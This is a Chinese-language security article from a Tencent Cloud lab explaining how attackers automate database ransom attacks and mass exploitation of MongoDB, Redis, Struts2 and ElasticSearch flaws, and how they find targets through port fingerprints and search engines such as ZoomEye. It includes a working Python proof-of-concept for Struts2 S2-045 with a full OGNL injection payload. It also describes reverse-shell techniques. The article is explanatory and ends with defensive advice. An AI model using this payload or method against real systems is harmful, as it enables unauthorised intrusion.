黑客如何實現資料庫勒索?

作者:張祖優@騰訊雲 雲鼎實驗室

導語 每一次重要通用漏洞的爆發總是會帶來一片腥風血雨,任何微小的漏洞,基於43億IPv4地址這個大基數,總是可以被放大!

從MongoDB開始到MySQL,黑客瞄準了資料庫服務,通過黑客手段獲取資料庫服務的許可權,然後刪除數據,在資料庫中插入勒索信息,要求支付比特幣以贖回數據(可見擴展閱讀)。那麼黑客是如何實現這整個過程?

### MongoDB勒索事件

在MongoDB的勒索事件里,黑客攻擊通過攻擊存在未授權訪問問題的MongoDB資料庫,加密原數據內容,在資料庫中插入勒索信息,要求支付比特幣以贖回數據。(具體可見[雷鋒網的報道](MongoDB 資料庫勒索,中國受害者數量超乎你的想像,SOS!))

在這個事件中,我們來還原下黑客是怎麼實現這個流程的:

大概是這樣一個流程,通過探測互聯網上符合的目標,然後使用對應的攻擊腳本針對探測得到的目標實現自動化的攻擊。

而細化到具體的探測目標和Exp的功能,以MongoDB數據勒索這個例子,探測目標主要是探測互聯網上開放了27017埠的目標,然後進一步探測是否可以未授權直接連接目標:

而攻擊腳本的功能大概是這樣的:

就MongoDB這個例子,主要是利用了MongoDB未授權訪問的這個問題;MongoDB默認安裝是沒有密碼的,並且沒有綁定IP,導致的問題就是外網可以訪問這些MongoDB,並且由於無需授權,就可以直接未授權訪問。

其實,**這是一個自動漏洞批量利用的過程**,不僅限於數據勒索,也不僅限於開始列的幾種數據服務的未授權訪問或者弱口令等安全問題,同樣其他漏洞也是可以的。

### 黑客如何利用漏洞

往往一些漏洞在爆發之後,沒多久就馬上會爆發出漏洞的PoC和Exp,比如最近的Struts2新漏洞S2-045(CVE-2017-5638),漏洞在3月6日爆出,而在3月7日也就是第二天,PoC和Exp已經滿天飛,就本次的漏洞來說,基本國內外大的互聯網公司基本沒有不受影響的;該漏洞可以導致命令執行,可以獲得系統許可權,在PoC和Exp出現的第一時間,已經基本是地上地下都在利用和掃描了。

```nimport requestsnimport sysnndef poc(url):n payload = "%{(#test=multipart/form-data).(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context[com.opensymphony.xwork2.ActionContext.container]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()). (#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(#ros.println(102*102*102*99)).(#ros.flush())}"n headers = {}n headers["Content-Type"] = payloadn r = requests.get(url, headers=headers)n if "105059592" in r.content:n return Truen return Falsennif __name__ == __main__:n if len(sys.argv) == 1:n print "python s2-045.py target"n sys.exit()n if poc(sys.argv[1]):n print "vulnerable"n else:n print "not vulnerable"n```n

上面是這次S2-045的PoC,通過這些攻擊腳本,黑客可以實現自動化的對漏洞進行利用

15年11月也出現過一個安全事件,就是有黑客團體利用Redis設計缺陷成功入侵了至少10000家的Redis伺服器(具體見[nosec的報告](static.nosec.org/downlo))。在這個事件里,黑客基於Redis未授權訪問問題,通過配合SSH Key的技巧批量的入侵了Redis伺服器。

Redis 未授權訪問的危害 - 騰訊視頻 https://v.qq.com/x/page/n0363pw80m8.html

上面的視頻是通過手動的方式演示了如何利用這個問題獲取伺服器的系統許可權,而往往這個過程黑客是通過自動化的手段進行的,下面是的視頻演示了如何通過工具自動化的獲取攻擊目標,利用PoC進行驗證是否存在Redis未授權訪問問題的。

黑客是如何利用漏洞自動化利用及防範 - 騰訊視頻 https://v.qq.com/x/page/t0382xsgnp4.html

其實每一次爆發的漏洞對於相關黑客來說,利用的過程不外乎如此;還有個例子,之前國外有個團隊,捕獲了一個使用ElasticSearch漏洞構建的殭屍網路,利用ElasticSearch的漏洞,對ElasticSearch伺服器進行控制,整個殭屍網路最終可以用來進行DDOS攻擊([分析報告](This Bot Is Out for Brains: ElasticZombie Exploiting Elasticsearch Vulnerabilities))。

經過跟蹤ElasticSearch公開的漏洞,他們發現,尤其在中國的相關論壇,CVE-2015-1427 被多次討論和引用,這是一個ElasticSearch Groovy 腳本引擎的漏洞導致攻擊者可繞過沙箱檢查執行shell命令的命令執行漏洞。

這是個影響ElasticSearch 1.3.0-1.3.7以及1.4.0到1.4.2的漏洞,相關的PoC也就是漏洞驗證代碼以及Exp都已經在網上公開,黑客可以利用這個漏洞,執行Shell命令,通過perl執行一個perl腳本,來進行反彈shell,可以達到對伺服器的控制。

> 什麼是反彈shell呢?正常我們通過ssh連接linux等伺服器,是主動的方式連接,而反彈shell,shell其實跟我們通過ssh連接的shell沒什麼大的區別,而反彈的意思是,控制端通過一些軟體,比如nc,也就是netcat在控制端監聽某個埠,被控制端,比如說linux 伺服器,發起請求到該埠,並將其命令行的輸入輸出轉到控制端。

我們通過一個視頻來看下如何利用這個漏洞進行反彈shell來控制伺服器的:

ES漏洞利用反彈shell - 騰訊視頻 https://v.qq.com/x/page/d0195jprwg1.html

而其實黑客如何利用這個漏洞組建殭屍網路,也只是將這個利用過程自動化,批量化。

看到這我不知道大家是否可以發現,例子中黑客使用的漏洞都不是0DAY或者1DAY,應該算是NDAY(這裡的數字指距離漏洞爆發已過去的時間);其實,正如你所見,可能大家平時更多的覺得是0DAY的危害很大,但實際的情況是,0DAY更多的時候是作為一種最後的手段,並不是隨手就能有0DAY,大部分的這種批量的攻擊場景基本是NDAY,每次漏洞爆發,都有一大堆目標受影響,但這些受影響的目標,最終又有多少修復了漏洞,這就得另說了;實際的情況就是即使漏洞爆發過去很長時間,甚至一兩年的時間也仍有眾多的目標受影響,比如14年爆發出來的[心臟出血漏洞](當安全協議不安全了:OpenSSL漏洞 - 知乎專欄),[15年仍有眾多目標受影響](zoomeye.org/lab/heartbl),甚至包括一些安全廠商的設備和知名互聯網公司的伺服器,甚至於現在去做檢測,也仍有存在漏洞的目標。

**漏洞的利用與修復一直都是安全對抗中一個主要的工作內容!**

### 如何獲取攻擊目標

在上面的內容我們介紹了很多黑客攻擊流程和黑客對漏洞的利用,但是似乎唯獨漏了黑客是哪裡得到這些攻擊目標的。其實在一開始的MongoDB的說明中已經大概提到了。

> 每一次重要通用漏洞的爆發總是會帶來一片腥風血雨,任何微小的漏洞,基於43億IPv4地址這個大基數,總是可以被放大!

不知道大家有沒有注意到引言的這段話,黑客的攻擊其實都是基於43億的IPv4而進行的,一個再小的漏洞,基於這個基數,那麼得到的可攻擊目標就不是一個小數。

最簡單粗暴的方式,就是拿著攻擊腳本通過分散式、自動化的方式全部攻擊一遍,當然這個量就有點大,所以更合理的方式是探測符合的目標,比如MongoDB那個事件,需要探測存在MongoDB的伺服器,也就是探測埠27017開放的伺服器(MongoDB服務默認埠為27017,一般情況28017等情況也有可能,所以黑客在嘗試的時候可能不止探測27017這個埠),然後進一步的探測是否符合漏洞利用條件,就MongoDB的例子也就是需要是存在未授權訪問的情況,即不需要密碼並且可遠程連接。

類似MongoDB的埠27017其實就是指紋,黑客通過這些指紋去探測存在漏洞影響組件的伺服器,不同的組件和服務都有不同的指紋,比如同樣是通過埠的方式,那麼Redis也就是6379,M有SQL是3306,還有比如說"WWW-Authenticate: Basic realm="TD-8817"這個存在於HTTP頭部的指紋可以探測TP-Link TD-8817路由器;當然,不排除自定義的情況,但出於成本等方面的,一般黑客在攻擊的時候選擇忽略特殊的情況。通過探測出符合漏洞影響組件的目標後,這些目標就成為攻擊腳本執行的目標。

除了指紋探測服務或者組件的存在與否,也可以進一步探測安裝的組件的版本是否在漏洞影響的版本範圍內,以此來縮小最終要使用攻擊腳本進行攻擊的目標範圍。精確的指紋和版本信息,可以縮小需要攻擊的目標範圍,從而減少攻擊成本。

其實,通過指紋的方式對於相關目標進行服務和組件的探測,國內外已經有一些安全平台,比如ZoomEye(zoomeye.org )、撒旦(Shodan ,如下圖搜索MySQL服務的目標)等,大家如果想嘗試,可以直接訪問去搜索相關組件的目標,比如"app:wordpress" 在ZoomEye上搜索Wordpress搭建的站點;在Redis那個未授權訪問問題的自動化演示的視頻中,其實就是調用了ZoomEye的API來獲取存在Redis服務的目標。

當然,看到這些平台,你可能第一時間想到的是幫助了攻擊者,這個具體怎麼看待把,因為這些平台的初衷肯定不是如此,就像早期的電腦到底是好是壞的討論一樣;在相關黑客的手裡其實也存在這樣的平台,或者就是通過腳本直接根據不同的漏洞對43億IPv4或者其他已知目標列表進行探測,然後自動化的攻擊。

講到最後,其實大家可以發現,不僅僅是數據勒索,這其實更多的是一種通用的漏洞自動化攻擊利用的流程,唯一的區別在不同的漏洞能夠獲取的許可權不同,對應的在獲取到許可權後能做的事也不同,所以就存在對應的利用,比如數據勒索,比如組件殭屍網路用於DDoS,比如用來挖礦,還比如批量黑了路由器進行DNS劫持等。

在企業的安全風險的不同維度里,通用漏洞一直是個棘手的問題,因為你沒法事先知道問題,只能在漏洞爆發的時候第一時間去修復漏洞,所以,儘可能的選擇一些靠譜的組件,多關注安全,加強漏洞和安全的應急響應,避免由此導致的安全風險!

### 擴展閱讀

《MySQL成勒索新目標,數據服務基線安全問題迫在眉睫》MySQL成勒索新目標,數據服務基線安全問題迫在眉睫 - 騰雲閣

《Redis 未授權訪問缺陷可輕易導致系統被黑》Redis 未授權訪問缺陷可輕易導致系統被黑


推薦閱讀:

專家教你利用深度學習檢測惡意代碼
實用教程:從網路中獲取NTLM Hash的四種方法

TAG:数据库 | MongoDB | 信息安全 |